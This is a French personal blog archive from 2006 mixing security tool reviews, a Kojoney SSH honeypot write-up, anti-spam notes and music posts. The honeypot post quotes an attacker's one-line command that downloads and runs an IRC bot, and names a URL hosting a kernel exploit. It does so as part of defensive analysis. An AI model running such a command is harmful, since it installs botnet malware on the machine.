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devloop :: blog

sécurité informatique, programmation, Linux et plus encore

Archive: September 2006

Des news en bazar

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Une semaine (ou presque) sans billets (oups) même si certains sujets ont été assez actifs au niveau des commentaires.
J'ai pas mal taffé ce mois çi (malheureusement rien à voir avec l'informatique) et j'étais bien trop crevé pour faire quoi que ce soit, en plus j'étais pas dans ma blog mood, pas aware quoi bigsmile

Comme d'habitude j'ai testé tout un tas de logiciels, pas mal de softs de stéganographie, des bons, des moins bons, des facilement compilables, d'autres impossibles à compiler (en fait pour ceux là les tests s'arrêtent avant d'avoir pû essayer le soft), open-source, closed-source, actifs, abandonnés, erreurs 404, host unreachable etc (oui j'ai fouillé).
Dans l'ensemble je cherchais un logiciel de stegano permettant de dissimuler quelques méga-octets dans un fichier et qui soit open-source et fonctionnant sous Linux (encore mieux s'il fonctionne aussi sous Windows). Mais peu de surprises : la quasi-totalité ne permettent de cacher au maximum que quelques kilo-octets.

J'ai donc décidé de voir plus gros au niveau du format conteneur. J'ai découvert isosteg qui comme son nom l'indique permet de cacher des données dans une image ISO.
L'exemple donné sur le site d'isosteg semblait prometteur : pouvoir dissimuler 3Mo dans une image iso de 674Mo, super !
Seulement cet exemple est bien optimiste par rapport aux tests que j'ai effectué nervous :

ubuntu-6.06-desktop-i386.iso (Ubuntu Live CD) 698Mo -> 292Ko
grml_0.8.iso (le dernier GRML) 697Mo -> 40Ko
trustix-2.2-200608031721.i586.iso (Trustix Sunchild) 444Mo -> 117Ko
MomongaLinux3-i686-dvd.iso (Momonga Linux... que je compte tester un jour) 3.6Go -> 127Ko

Visiblement il faut de sacrées chances pour tomber sur le bon ISO yikes

J'ai essayé le système d'exploitation Syllable (par VMWare) sur lequel je n'ai rien à redire : tout semble fonctionner, ensuite c'est les goûts et les couleurs p

Je viens tout juste d'essayer SIM-IM (SIM Instant Messenger), un logiciel de messagerie instantané multi-protocole qui n'a pas grand chose à envier à Gaim. Ajouté à ça un module permet d'encrypter au vol les conversations avec GPG up

Il existe une version open-source de ce que fait spammimic, développé par un membre de CyberArmy et téléchargeable ici. Il s'agit d'un CGI en perl. Pour des raisons qui m'échappent encore je n'ai pas réussi à le faire fonctionner sous Apache.

J'ai de la nouvelle lecture. il me faudra beaucoup de temps avant que j'arrive à lire les (presque) 1000 pages du livre, déjà que je n'ai toujours pas fini le livre de Bruce. Je suis seulement au tout début de ce livre sur Linux mais il semble très bien écrit et assez accessible (nécessite tout de même d'être un utilisateur de Linux et d'avoir des bonnes connaissances en C)

Google a soufflé ses 8 bougies il y a quelques jours. Les projets de la société laissent parfois songeur, la vie privée des internautes est de plus en plus couverte par ce géant de l'Internet. Ce n'est pas une mauvaise chose de bloquer les cookies venant des moteurs de recherche.

L'affaire AOL est un bon exemple des dérives provoquées par la surveillance continue des Internautes. Le site Futura-Sciences a écrit un très bon article sur cette histoire.


Je farfouillais dans les bacs à disques et j'ai eu l'immense plaisir de découvrir un nouvel album des Stranglers, que je croyais disparu depuis belle lurette (en fait ils ont sorti un album en 2004 après 6 ans d'absence).
Les Stranglers ont marqué à tout jamais l'histoire du Punk. Les gens connaissent généralement peu ce style musical qui offre en réalité une palette assez large, réduisant le punk au hardcore, au punk rock. La confusion a été totale à une époque où les mauvaises langues disaient que le punk était mort. En fait il a simplement explosé en autant de dérivés que la Oï, le punk-hardcore, la new wave, le grunge et que sais-je encore p
Les Stranglers ne font pas du punk harcore, ils ont un côté pop bien à eu qui leur a permis de toucher un public bien plus large et de faire quelques tubes (vous avez sans doute déjà entendu Always The Sun). Contrairement aux Rezillos, leur côté pop est loin d'être festif. Il y a dans leur musique quelque chose de dérangeant (et dérangé), une touche vraiment artistique, ce même art que l'on retrouve dans des galeries, en face de tableaux étranges qui provoquent des émotions sans que l'on sache pourquoi.
Leur chansons prennent parfois une tournure psychédélique, utilisant des sonorités étranges, la musique des Stranglers atteint directement le cerveau. En fait il n'y a pas grand chose de plus fort qu'une envie de Stranglers bigsmile

Suite XVI, leur nouvel album, s'inscrit complétement dans la continuité. Les membres du groupe ont changé entre temps, le chanteur n'est plus le même pourtant... tout est là ! Et pire encore, tout est toujours aussi bon yes
Quand j'ai voulu écouter Suite XVI, j'ai eu peur que le CD soit protégé par un quelconque procédé anti-copie, rendant la lecture difficile sur certains lecteurs. En réalité il n'en est rien. Mon lecteur CD a simplement rendu l'âme à la seule lecture des premières mesures de l'album. La dose était trop forte semble-t-il bigsmile

Je vous recommande vivement cet album, ou alors Peaches - The Very Best Of si vous désirez dévouvrir les anciennes chansons du groupe.
Un extrait du nouvel album est un écoute sur cette page sing

Retour à l'informatique... J'ai remarqué par son site que rgod utilise Wapiti pour trouver des vulnérabilités dans les logiciels qu'il audite. Ca fait plaisir smile
Je compte toujours continuer le développement de Wapiti, j'attends juste d'avoir un peu de temps et l'impulsion nécessaire. J'ai aussi travaillé sur un projet de forum en PHP il y a quelques temps (j'ai fait les 90% du travail en un temps record) et je n'ai pas repris depuis pour les mêmes raisons. Mais j'y pense.

Quand Google faché lui toujours faire ainsi

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On avait déjà vu lors de l'affaire Google / CNET, que le moteur de recherche pouvait avoir des réctions un peu brutales quand quelque chose lui déplaisait.

Récemment plusieurs sites d'information belges commes lesoir.be et lalibre.be ont attaqué Google News (.be) en justice pour non respect du droit d'auteur. En effet le site Google News regroupe différentes sources d'informations sur un sujet donné, rassemble les liens vers les articles traitant de ce sujet et donne un extrait (quelques lignes) d'un de ces sites.
Les différents journaux estiment que Google devrait leur verser de l'argent puisqu'il utilise leur contenu pour son site d'actualité. Evidemment Google ne voit pas du tout les choses comme ça, de son point de vue il donne gratuitement à ces journaux une audience supplémentaire qu'il n'auraient pas sans lui.
Malgré ses appels en justice, le tribunal a tranché : le site Google.be doit afficher la décision de justice sur son site Internet et retirer les articles des journaux de son Google News.

En ce moment même on peut voir sur Google.be le texte en question. Google visiblement très mécontent a bani pûrement et simplement ces journaux de son site... et de son moteur de recherche. Ainsi LeSoir et LaLibre n'existe plus si on passe par Google.be.

C'est bien la preuve que Google est bien sûr de son pouvoir. Avant qu'il n'applique la décision de justice, la directrice de communication de Google Europe tournait déjà la situation en dérision :

Nous ne comptons pas rémunérer les journaux. Nous estimons que Google News leur offre suffisamment d’avantages en augmentant leur audience et donc leurs revenus publicitaires

et d'ajouter à propos des journaux qui ont boudé Google par le passé :

Ils ont constaté la baisse de trafic vers leur site, et sont vite revenus chez nous.



C'est évident que les journaux en question ne pensaient pas que Google irait jusque là et que les conséquences risques d'être.... euh conséquentes bigsmile
Pour mon blog, plus de la moitié des visiteurs viennent par Google. Evidemment pour un site d'information c'est différent mais ils risquent tout de même de le sentir passer (est-ce que ce serais comparable à un DDoS en terme de perte finançière ?). Personnellement la seule raison qui m'amène sur ces sites d'informations c'est qu'ils sont liés sur Google News, je ne vais jamais de moi même sur ces sites...
Mais cet abus de pouvoir de la part de Google est bien flippant scared

Affaire à suivre sherlock

Sources :
LeFigaro
PCInpact.com

tous deux accèdés par l'intermédiaire de... Google News France - Science/Technologie

Petite histoire de la désinformation

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Petite histoire de la désinformation est un essai de l'écrivain français Vladimir Volkoff, paru en 1999.

Je désinforme, tu désinformes, il désinforme, nous désinformons, vous désinformez, ils désinforment mais surtout : nous sommes désinformés. La désinformation est partout, consciente ou non, et devient chaque jour plus présente dans les médias. Bien plus qu'une petite histoire de la désinformation, ce livre ne fait qu'utiliser des exemples historiques pour montrer l'évolution de la désinformation et aussi prouver que quelque soit le support (bouche à oreille, journaux, radio, photographies, télévision, Internet), l'information est toujours manipulable et modelable.
Pour tout dire, au fûr et à mesure des exemples donnés par l'auteur, et au fûr et à mesure que l'on avance dans le temps, on se rend compte que l'opinion publique accorde de plus en plus de crédit aux médias (avant on lisait, maintenant on voit et on entend), pourtant l'information est de plus en plus soumise à des manipulations, à des influences et en même temps moins recherchée, moins étudiée, moins vérifiée.

Dans le second chapitre, Volkoff, afin de mettre les choses au point pour le reste du livre, définit quatre techniques visant à influencer l'opinion :

- La propagande : transmission de l'information par une source qui a foi en cette information et pour qui l'information sera salutaire au destinataire. La propagande se reconnaît par le fait que les opinions de la source ne sont pas dissimulées mais au contraire ouvertement proclamées.

- La publicité : de par son irrationnalité (l'information a un objectif : vendre, mais pas forcément de signification en elle même), elle s'adresse plus à l'inconscient qu'à la conscience. L'irrationnalité de la publicité va jusqu'à faire provoquer des associations dans l'esprit de ses victimes (j'utilise le déodorant X donc les filles vont se battre pour moi bigsmile )

- L'intoxication : elle vise à donner des informations erronées à l'ennemi. La cible peut être la classe politique, une armée, un étât, mais dans tous les cas il s'agit de décideurs, de personnes haut-placés

- La désinformation : tout ce qui n'entre pas dans les autres techniques. La cible est l'opinion publique (sinon ce serais de l'intoxication), ses fins sont politiques (sinon ce serais de la publicité) et ses moyens sont détournés (sinon ce serais de la propagande)

Désinformation : manipulation de l'opinion publique, à des fins politiques, avec une information traitée par des moyens détournés.



Cette dernière technique est le thème principal du livre, mettant de côté les autres techniques, même si certains cas se rapprochent parfois de la propagande ou de l'intoxication.
Beaucoup de ces histoires ont eu lieu en temps de guerre et une bonne partie concerne le bloc soviétique (Lénine, Staline ou la Pravda, le journal qui dictait la pensée communiste au jour le jour) ainsi que le département A du KGB, service inégalé dans l'art de la désinformation. Il faut dire que l'auteur maîtrise très bien le thème de la guerre froide.
On trouve d'autres sujets intéressant comme Goebbels, la Bosnie ou encore l'incroyable histoire de l'Opération Neptune (lire ici, et encore un peu ) ^_^

Mais d'autres exemples totalement indépendants des guerres sont présent : des livres scolaires d'histoire manipulés par le PC, un dictionnaire des synonymes d'extrême gauche (Larousse, 1997), un très bon chapitre sur la langue de bois ou encore les messages subliminaux (le visage de Mitterand qui apparaissait dans le générique du JT d'Antenne 2)

Les chapitres 10 et 11 ("Comment c'est conçu" et "Comment ça se pratique") permettent d'avoir une vision très analytique d'une opération de désinformation. Les différents protagonistes entrent en jeu (le client, la cible, le relais, l'agent, les caisses de résonnance...) suivi des trucages couremment utilisés (négation, inversion, modification des circonstances, estompement, généralisation, camouflage, variations, interprétations, parts égales/inégales...) Un vrai régal smile

Le livre se termine sur une partie pour le moins pessimiste entre l'auto-censure chez les pays démocratiques (on a placé tellement haut les valeurs de respect et de tolérance envers les autres quelles finissent par nous étouffer) et le pouvoir des multinationales de la consommation sur les médias (on est pas si éloigné des Ads de chez Google)

Bien sûr vous avez droit à un extrait du livre, tiré du passage sur la diabolisation de la Serbie par la Bosnie :

Une presse honête a essayé de montrer que le mot camp n'avait rien d'effrayant en soi, et que, sans même parler de camps scouts, il fallait distinguer entre les camps d'extermination, les camps de concentration, les camps d'internement, les camps de triage et les camps de réfugiés. Mais le cauchemar des camps hitleriens est tel que rien n'y fait : convenablement aiguillé, le lecteur voit partout des camps de la mort, magré des témoignages aussi avertis que ceux de Mme Simone Weil et de MM. Elie Wiesel et Simon Wiesenthal, qui ont pourtant bien déclaré que les camps (de prisonniers) serbes n'avaient rien à voir avec les camps (de concentration) nazis.
Au reste, une autre presse est allée beaucoup plus loin.
Certains lecteurs se rappellent une photo d'homme émacié se tenant derrière des barbelés, qui a fait le tour du monde et renforcé la campagne de diabolisation des Serbes. Il a fallu la vigilance d'une Allemande de bonne volonté, qui a remarqué que les barbelés étaient cloués du mauvais côté des piquets, pour que son mari, journaliste scrupuleux, se rendît sur place et fît une enquête approfondie laquelle devait révéler que :
- sur la photo originelle, l'homme émacié était entouré d'autres hommes qui ne l'étaient nullement ;
- l'homme émacié, nommé Fikret Alié, n'était pas un prisonier mais un réfugié ;
- les réfugiés se trouvaient au-dehors des barbelés et le photographe dedans ;
- les barbelés n'étaient pas ceux d'un camp mais d'un pâturage !


On dit souvent d'une chose qu'elle "est vraie parce que je l'ai vu", je trouve que cet exemple montre parfaitement bien le contraire smile
Dommage que Vladimir Volkoff ne soit plus de ce monde, il aurait sans aucun doute trouvé très amusant ces opérations de désinformations par généralisation, estompement, variation et bien plus encore autour du fameux coup de boule de Zidane bigsmile

Deux logiciels de cryptographie

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Dans ce billet je vais vous parler de deux logiciels cryptographiques qui se basent sur des concepts ingénieux ninja

SSSS (pour Shamir's Secret Sharing Scheme) se base sur le principe du secret partagé, plus précisemment sur les travaux du célèbre Adi Shamir sur le sujet.

Le principe du secret partagé est entré depuis longtemps dans nos esprits. Qui n'a pas vu un film dans lequel un trésor est protégé par tout un tas de verrous et auquel on ne pourra accèder qu'une fois que les propriétaires des clés correspondantes seront réunis ?

Mais dans une telle situation on a tendance à voir les clés des différents protagonistes comme autant de mots de passe. Je dirais que du point de vue de SSSS, le mot de passe est le trésor et que les clés... sont simplement des clés cryptographiques. Certes ce ne sont pas des clés publiques puisque leur divulgation permettrait l'accès au trésor par n'importe qui, mais le vol d'une seule clé ne permettrait pas de briser la protection knight

Si je dis que le trésor est un mot de passe c'est principalement parce que SSSS ne permet que de cacher une chaine de 128 caractères ASCII maximum.

La commande ssss-split va se charger de répartir le secret à dissimuler dans les différentes clés. Par exemple si je désire cacher le secret dans 8 clés différentes et que ce secret soit accessible par 4 possesseurs de ces clés (quelqu'ils soient), je tappe :
$ ssss-split -t 4 -n 8

Le programme me demande alors d'entrer le secret et 8 clés seront générés :
1-57c86c3b18f3c490
2-208098db24047637
3-c600bba02b41008a
4-a76a68d66263efcc
5-556f77fc199c2934
6-0b2dfbbecc1efb19
7-48a9365210b2b699
8-239ab30fbb4d76e7

Je m'empresse de donner à chacun sa clé et si plus tard nous avons besoin de retrouver ce secret il suffira de réunir 4 membres du groupe et de faire appel à la commande ssss-combine :
$ ssss-combine -t 4
Enter 4 shares separated by newlines:
Share [1/4]: 3-c600bba02b41008a
Share [2/4]: 6-0b2dfbbecc1efb19
Share [3/4]: 8-239ab30fbb4d76e7
Share [4/4]: 1-57c86c3b18f3c490
Resulting secret: l33tp4ss

Dans ce cas là se sont les clés numérotées 3,6,8,1 qui ont permis de retrouver le secret.

C'est dommage que le logiciel soit limité à 128 caractères et ne permette pas de partager des fichiers...
J'ai aussi trouvé un bug assez génant :
$ ssss-combine -t 2
Enter 2 shares separated by newlines:
Share [1/2]: 4-a76a68d66263efcc
Share [2/2]: 7-48a9365210b2b699
Resulting secret: o..Q....
WARNING: binary data detected, use -x mode instead.

Dans le cas où seulement deux clés sont compromises sur les 4 (ou plus), on obtient un mauvais résultat mais dont la longueur est celle du vrai mot de passe sad

Pour compiler le logiciel vous aurez besoin de la librairie GMP sur les calculs de grands nombres (paquets gmp et gmp-devel sur SUSE)

Stegeek se base aussi sur le principe des clés multiples mais de façon bien différente. Si je devais donner une référence, je dirais que c'est le principe de la "salle sur demande" dans Harry Potter wizard
Pour ceux qui ne connaissent pas cela signifie qu'il y a un coffre magique dont le contenu change en fonction de la clé utilisée pour l'ouvrir.

A quoi ce principe peut-il servir en informatique ? Tout simplement à induire en erreur un attaquant qui aurait intercepté le fichier crypté et aurait réussi à en extraire des données (sans intérêt) avec un certain mot de passe alors que les données sensibles seraient protégées avec un mot de passe plus fort

Pour faire fonctionner Stegeek vous devez au préalable créer un fichier qui contiendra les différents mots de passes (un par fichier à dissimuler et un mot de passe par ligne)

Par exemple je crée un nouveau fichier nommé passfile dont le contenu est :

ceciestlepremierpass
thisisthesecondpass
herecomethethirdpassword


Ensuite j'utilise stegeek pour cacher 3 fichiers dans un fichier nommé blah :
$ stegeek -o blah -r 1.5 /etc/passwd /etc/issue /etc/SuSE-release < passfile
/etc/passwd
/etc/issue
/etc/SuSE-release
-----
Adding 3 files.
Enter encryption keys for files
(10-36 chars, first 4 chars must differ from other keys of files in archive)
key 0:key 1:key 2:
Creating archive...
Done.

Maintenant déchiffrons le fichier blah avec le troisième mot de passe, le résultat étant stocké dans le fichier secret :
$ stegeek -e -o secret blah
Enter extraction key: herecomethethirdpassword
Extracting...
Done.
Erreur de segmentation
$ cat secret
SUSE LINUX 10.1 (i586)
VERSION = 10.1

et avec le second mot de passe :
$ stegeek -e -o secret blah
Enter extraction key: thisisthesecondpass
Extracting...
Done.
Erreur de segmentation
$ cat secret
Welcome to SUSE LINUX 10.1 (i586) - Kernel \r (\l).

Malgré quelques erreurs de segmentation tout fonctionne smile Malheureusement le projet est mort :'(

Deux logiciels forts intéressants... évidemment il faut trouver l'occasion de les utiliser smile

Blog de spammeur

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Après mon billet spammeur de blog, je continue mes investigations dans le monde des spammeurs car, comme l'a jadis dit Sun Tzu dans son Art de la Guerre, il faut connaître son ennemi pour mieux le combattre.

Hier je suis tombé (je ne saurais plus vous dire comment) sur le site Army Of Blogs (armyofblogs.com) qui vend vante (lapsus révélateur ?) les mérites de tout un tas de logiciels dit "marketting" et dont la blogosphère se serait fort bien passée.
Même si quelques logiciels présentés sur le site ne font qu'automatiser des techniques connues pour augmenter le PageRank d'un site, d'autres sont moins propres.

Par exemple on trouve quelques logiciels destinés à la création massive de splogs ( armyofblogs.com/voodoo-blogger-revisted ), un clonneur de blogs WordPress ( armyofblogs.com/wordpress-cloner-preview/ ) ou encore différents outils de spam par referer ( armyofblogs.com/prstorm-back-in-business/ , armyofblogs.com/stealth-advertiser-review/ ) yuck

Si j'ai trouvé ce blog plutôt qu'un autre c'est peut-être que son auteur utilise de temps en temps les mots auquel on a recours (spam*). La plupart du temps les spammeurs se cachent derrière les termes "Black Hat SEO", SEO signifiant Search Engine Optimization.

Bonne nouvelle pour nous, bloggeurs, il semblerait qu'il n'y ait pas vraiment d'outils de sping (spam de trackback)... C'est du moins ce que Bud Wiser (comme il se fait appeler) disait dans un billet de décembre 2005 ( armyofblogs.com/how-to-trackback-spam-step-by-step/ )

Toutefois comme les trackbacks sont juste du XMLRPC, un simple navigateur peut effectuer ces tâches et les moteurs de blogs utilisés par les spammeurs sont tout à fait capable de faire ça. Cela dis ça peut être rassurant de savoir que s'ils utilisent un navigateur ils s'exposent comme tout le monde à certains risques wink

Dans tous les cas on ne peut pas s'empécher de rire quand ces types se mettent à pleurnicher parce qu'on les interdit de spammer ( armyofblogs.com/effective-spamming-2/ ) ou qu'ils piquent leur colère parce que certains procédés anti-spam fonctionnent ( armyofblogs.com/army-of-blogs-and-the-nofollow-tag/ , armyofblogs.com/defeating-the-captcha-and-section-508/ )

Des champions de la mauvaise foi p
En tout cas avec ces quelques mots clés (Black Hat SEO) ce sera bien plus facile de garder un oeil sur ce petit monde wink

PS: Il n'y a pas de liens directs vers le site afin de ne pas lui accorder le plaisir d'augmenter son PageRank

Kojoney

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Kojoney est un honeypot à faible interaction.
Développé en Python et basé sur les librairies réseau Twisted, il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passes faibles.

Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hazard et qui tentent une attaque par froce brute sur les mots de passes, ciblant principalement les mots de passes par défaut ou ceux dont l'utilisateur n'a pas fait preuve d'imagination.

L'institut SANS tient à jour un classement des 20 vulnérabilités qu'il juge les plus critiques. Pendant très longtemps l'utilisation de mots de passes facilement trouvables était en tête du classement mais il semble qu'avec la prolifération des vers, des spywares et autres malwares, les mauvais mots de passes ont une importance moindre. Pourtant ils sont et seront toujours présents.

Si vous vous promenez sur les forums spécialisés Linux vous avez sans doute déjà vu quelques personnes se plaindre de ces attaques. Et même si la plupart du temps ces attaques échouent, elles font beaucoup parler d'elles.

Kojoney vous permet d'analyser ce traffic. Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes tappées par le pirate dès que celui-çi a trouvé un des comptes utilisé par Kojoney sherlock

Kojoney a plusieurs défauts, même s'il n'en est pas forcément le responsable. Premièrement il faut avouer que les pirates qui effectuent de telles attaques ne sont généralement pas d'un niveau très élevé. Il faut dire qu'effectuer des attaques brute-force est ce qu'il se fait de moins discret. Ca génère une quantité de logs impressionants, c'est facilement détecté par des logiciels de surveillance et même un informaticien débutant peut se douter qu'il se passe quelque chose de louche en voyant sa bande passante réduite aussi vite.
Le second problème est qu'il ne fait que simuler un serveur SSH. Techniquement le programme ne fait que boucler sur ce que tappe l'utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...)

Toutefois avec les versions 0.0.4 il est possible pour ceux qui ont quelques connaissances en Python de rajouter très facilement des commandes à ce shell virtuel cool
J'utilise Kojoney depuis un bon boût de temps maintenant et j'y ai apporté quelques retouches (c'est tout l'avantage des logiciels libres) afin de rendre l'environnement plus réaliste. Malheureusement toute la partie gestion du terminal est laissée à la librairie Twisted Conch et certaines modifications semblent impossibles à apporter (utilisations des flèches pour gérer l'historique, utilisation de la touche backspace...)

La version 0.0.4.1 apporte une nouvelle fonctionnalité : télécharger dans le dossier /var/log/kojoney les fichiers que les pirates auront tenté de rapatrier avec wget ou curl up

La lecture des logs peut être assez longue, heureusement différentes commandes permettent d'obtenir un résultat plus lisible. Le principal utilitaire est kojreport qui génère des statistiques sur les attaquants (pays les plus actifs, commandes les plus utilisés etc)

Rien qu'au niveau des logiciels d'attaques utilisés ont remarque des différences : certains continuent d'attaquer après avoir trouvé un mot de passe, d'autre s'arrêtent au premier compte obtenu.
La plupart du temps les pirates se servent d'une machine compromise pour effectuer l'attaque et se connectent au compte en utilisant une autre machine (leur machine perso ?) Généralement les attaquants sont humains mais quelques fois on a affaire à des outils automatisés qui lancent des commandes en aveugle, par exemple :
wget free-ftp.org/trkalce/botovi.tar.gz;tar -zxvf botovi.tar.gz;cd bots;chmod +x inetd;./inetd

Quelques attaquants se concentrent uniquement sur le compte root, allant parfois jusqu'à ne tenter qu'un seul mot de passe (root/root ?) bigeyes
Les premières actions des pirates consistent généralement à vérifier s'ils sont seuls sur la machine (w ou who), à savoir où ils sont (pwd, ls) et sur quoi ils se trouvent (uname, uptime). Ensuite ils tentent de changer le mot de passe (passwd) - pour éviter que quelqu'un passe dérrière eux - et téléchargent une backdoor pirate

Dans la grande majorité des cas il s'agit d'un bot irc. Le programme se connecte à un serveur IRC, dans un cannal donné et attend que quelqu'un sur ce cannal lui donne des ordres. La machine vient très probablement se rajouter à un botnet.

Les pirates ne maîtrisent pas tous Linux comme ils le devraient et abandonnent très vite en voyant que certaines commandes ne sont pas présentes ou leur sont interdites. Ils manquent de curiosité et ne prennent pas le temps de comprendre ce qu'il se passe down

Pour tout dire, un seul a jusqu'à présent eu l'intention de passer root lol
Il a téléchargé un binaire nommé 'hat' à l'adresse dogg-crew.com/nightfox/hat. Après l'avoir placé dans un chroot et l'avoir 'stracé' j'ai très vite compris qu'il s'agissait d'un exploit pour une faille dans les kernels 2.4 (do_brk). Le nom de l'exploit complet étant hatorihanzo on comprend mieux le nom du fichier.

Le binaire a d'autres particularités intéressantes. Tout d'abord il semble vérolé et est détecté comme étant Virus.Linux.Osf.8759 (ou Linux/OSF.A)
Il faut avouer que le fichier est assez imposant (423Ko) même pour un programme compilé statiquement. Une grande partie du code semble être crypté et certains désassembleurs se cassent les dents dessus :

On comprends mieux où se trouve la signature du virus bigsmile
Même en le désassemblant avec gdb je ne suis pas parvenu à voir autre chose que la partie exploit du fichier, mais mes connaissances en virus sont très limitées.

J'espère que ce billet vous aura donné l'envie d'installer Kojoney.
Je vous recommande, une fois l'installation effectuée, de télécharger mes modifications et de remplacer les fichiers de la version originale.

STOP !

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Avoir un blog m'aura au moins appris que les spammeurs ne sont vraiment pas malin. Preuve en est ce personnage qui au boût de 1225 tentatives pour poster des commentaires indésirables ne s'est toujours pas rendu compte qu'aucune n'a réussie :

Même s'il n'est pas génant par certains points il consomme de la bande passante. Pour celui-là j'invoque le guerrier Apache grâce auquel ce site fonctionne en créant un fichier .htaccess :
<Limit GET POST>
order allow,deny
deny from 74.52.68.226
allow from all
</Limit>

Et le tour est joué. A noter qu'il est possible de jouer avec le joker (*) pour empécher une plage d'adresse IP smile

Pour ce qui est des trackbacks je possède un fichier tb.php de la mort qui tue qui crashera le navigateur (IE ou Firefox) de tous ceux qui essayent d'y passer certains mots clés bigsmile

Les plages d'adresses IP de "static.theplanet" :
NetRange: 70.84.0.0 - 70.87.255.255
CIDR: 70.84.0.0/14

NetRange: 74.52.0.0 - 74.54.255.255
CIDR: 74.52.0.0/15, 74.54.0.0/16

Outils en vrac

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EasyVMX : un site qui permet de créer gratuitement des machines virtuelles prêtes à utiliser par VMware Player.

Orangoo Spell Ckeck : un vérificateur orthographique en ligne ^_^

WorldTimeServer.com : pour savoir qu'elle heure il est ici ou ailleurs

Kalsey Button Maker : un générateur d'images dans le style "w3c validator"

80x15 Brilliant Button Maker : même chose avec quelques options en plus

CWSanbox : ce site exécute les malwares qu'on lui envoit dans un espace confiné et renvoit un fichier XML décrivant le comportement de l'exécutable (chargement de dlls, accès aux fichiers, accès à la base de registre etc)
Je m'en sers pour connaître le fonctionnement des bestioles récupérées par nepenthes et qu'aucun de mes AVs n'a pu détecter smile Dommage qu'on ait pas droit à un beau fichier html.

PS : Il y a du nouveau sur le blog de Signal Spam.

Les Malpolis - La Fin Du Retour De La Chanson

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"La Fin Du Retour De La Chanson", le dernier album des Malpolis, est sorti il y a déjà quelques mois mais mérite que l'on en parle tellement ça nous change des habituelles starlettes made in France et/ou des chanteuses pour MacDonald (afin de préserver son anonymat je ne la nommerais que pas son prénom : Jennifer rolleyes )
Alors vous allez me dire que ça n'a rien de nouveau, que Les Malpolis font toujours la même chose, c'est à dire faire des chansons méchantes, bourrées d'humour noir et en mettre plein la gueule à tout le monde (vous inquiètez pas si vous n'y êtes pas passé, ce sera bientôt votre tour)

Oui mais c'est tellement bon yes
La principale cible des Malpolis est la société de consommation et tous ces trucs que l'on se sent obligé d'avoir ou de faire pour ne pas être "a la (ra)masse" mais pour cet album on a droit à quelques textes-non-identifiés avec un humour particulèrement cynique devil

Rien que pour vous, deux textes tirés de cet album wink

UN ASSASSIN A L'ANCIENNE

Mon arrière grand-père adorait arpenter les rues
La nuit tombée pour y zigouiller des inconnus
Un bon vivant lassé par le vin et la chair
Qui cherchait de nouveaux plaisirs moins ordinaires
Et cultivait
Son jardin secret
Certes un peu trop près des cimetières.

Pour satisfaire ses petites manies meurtrières
Il aurait pu faire militaire mais c'était contraire
Aux valeurs qu'il avait, il trouvait ça vulgaire
Et carrément absurde de tuer en temps de guerre.

Il n'étranglait pas à l'aveuglette mais choisissait
Des innocents, des gens honnêtes, en bonne santé,
Refusant de se faire le bourreau providentiel
De la justice des hommes ou de la loi du ciel.

Il n'assassinait pas pour dépouiller ses victimes
Il n'avait pas l'appât du gain mais le goût du crime
Jamais ne tuait plus d'une personne par semaine
Tueur en série d'accord, mais pas tueur à la chaîne !

Il ne procédait pas en amateur pour autant
Il estourbissait à l'ancienne, en bon artisan,
Il avait l'art de trouer le lard, le coup de main,
D'ailleurs aucun de ses clients ne s'est jamais plaint.

Quand il tuait un marmot, il faisait bien attention,
Que ses parents soient pour la peine de mort et non
Des opposants afin, qu'en plus de leur souffrance,
Ils n'aient pas à surmonter une crise de conscience.

En tenue de deuil, aux enterrements de ses victimes,
Il présentait ses condoléances aux proches aux intimes,
Pas en faisant mine de compassion chrétienne,
Mais vraiment bouleversé par toutes ces âmes en peine.

On disait de lui qu'il ouvrait toujours grand sa porte
Aux inconnus et allait volontiers vers les autres
Ignorant que c'était pour les poignarder dans un coin
Si l'on disait qu'il avait le coeur sur la main… C'était pas le sien.

Sur son lit de mort quand il avoua à sa famille
La longue liste de ses crimes on tomba les billes
Allez savoir si c'est ça ou non qui explique
Que je salue
Toujours de loin
Les gens un peu trop sympathiques.


LES PAUVRES PETITS FACHOS

Tous les chanteurs ont un petit refrain
A reprendre en choeur dans la salle
Pour bien informer le citoyen
De la menace du Front-National.
Après le concert, les petits nazis
Vu ce qu'ils se sont pris dans les dents
Rentrent chez eux, pleurent toute la nuit
Ca doit pas les rendre plus marrants.

Essuie tes larmes dans ton mouchoir
Mon petit facho, dis-toi que c'est rien
Nous ont va chanter le cauchemar
De ton triste petit quotidien.
Dire ce que c'est en vrai la peur du noir
Chaque soir quand tu te couches et que t'éteins
Puis ça renouvellera le répertoire
De la chanson qui n’engage à rien…

Car faut savoir que c'est pas de la tarte
D'être un bon petit gars d'extrême droite…
Ah non, vraiment c'est pas de la tarte
D'être un bon petit gars d'extrême droite…

La boule à zéro, tous les matins,
Faut que tu te rases le crane avec soin :
Ca fait que tu te ruines en produits de beauté
Et le pire c'est que tout ça c'est rien que pour être laid…
Le soir, tabasser des mecs de gauche
Ou s'en aller casser du bougnoule
A force de manier le manche de pioche
Ca fait que t'as toujours les mains pleines d'ampoules…
Ein, zwei, t'essaies de marcher comme ça
En claironnant les airs de la Wehrmacht,
Mais t'es pas doué quand tu fais le pas de l'oie
Ca ressemble plutôt à la danse des canards…

Tu aimerais bien repeupler la France
Mais de ce coté là, t'as pas plus de chance :
A force de tendre le bras en l'air
Comme un SS, pour faire coucou,
Il te faut gueuler bien fort "Heil Hitler"
Pour baiser sinon tu bandes mou…

Chaque fois que tu trouves un cimetière sympa
Où aller peindre des croix gammées
Des petits branleurs y sont passés avant toi
Rien qu'histoire de faire comme à la télé…

T'es trop jeune pour avoir connu la guerre
Tu te poses toujours la même question…
Tu penses à ce qu'à vécu ton grand-père
Et tu te demandes si, sous l'occupation,
Toi, t'aurais eu le courage de faire
Le choix de la collaboration ?

Mais aujourd'hui ce qui te fout la haine
C’est d'entendre dire les journalistes
Que parmis les électeurs de Le Pen
Il y auraient plein d'anciens communistes…
Encore qu’le pire à supporter,
C’est depuis que musulmans et juifs
Se passent de toi pour s'entretuer
T'as l'air de quoi, ça c'est pas sportif.

Comment le gouvernement fait baisser le chomage

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